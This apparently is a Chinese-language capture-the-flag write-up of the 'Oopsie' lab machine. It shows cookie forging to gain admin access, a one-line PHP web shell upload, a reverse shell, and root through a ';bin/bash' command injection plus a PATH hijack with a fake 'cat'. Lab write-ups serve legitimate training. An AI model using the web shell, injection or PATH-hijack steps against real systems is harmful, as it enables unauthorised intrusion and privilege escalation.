Oopsie靶机
n3ym4r

image

nmap端口扫描

image

开了80web端口

访问web

image

惯例F12查看有没有什么信息

image

看到一个像是登录地址的url路径,访问

image

可以使用访问者身份登录

点击account页面

image

越权

更改id,将id改为1时

image

回显了admin账户的accessID

点击uploads,发现需要superadmin用户权限

image

抓包尝试伪造admin用户访问,看能不能上传文件

image

将cookie中的user改为34322,role改为admin,访问成功,将数据包放出

image

上传shell

来到文件上传页面

准备一个shell.php<?php echo shell_exec($_GET['shell']);?>,上传

注意:上传文件时,也是需要将cookie修改为admin的

image

上传成功后,访问/uploads/shell.php

image

执行成功

重新上传反弹shell的PHP代码

webshell在/usr/share/webshells/文件夹下

image

复制进bp,上传

image

ip端口改为自己ip和nc监听的端口

image

image

找到user.txt拿到flag:f2c74ee8db7983851ab2a96a44eb7981

image

在db.php中看到robert用户密码M3g4C0rpUs3r!

提权

ls -lh $(find / -perm -u=s -type f 2>/dev/null) 查看具有 SUID 的可执行文件

image

执行 bugtracker,提示用户输入 Provide Bug ID,随意输入

image

发现程序调用了cat,这个cat是root目录下的文件,有setuid权限,setuid是指赋予一个进程他所有者的权限,任意存取该文件的所有者能使用的全部系统资源。
//就是说你只要有权执行这个可执行文件,而这个文件里调用了只有root系统命令,那么执行的时候这个进程就相当于root

这里我们就可以直接执行,在输入 Provide Bug ID时后面跟上;bin/bash

image

得到root权限下的shell

image

得到rootflag:af13b0bee69f8a877c3faf667f7beacf

 //这里也可以采用另一种方法提权,程序调用了cat,我们可以自写一个cat,让程序调用我们自写的cat

export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo ‘/bin/sh’ > cat //在此构造恶意的cat命令
chmod +x cat  //设置优先级,会默认会执行我们创建的cat命令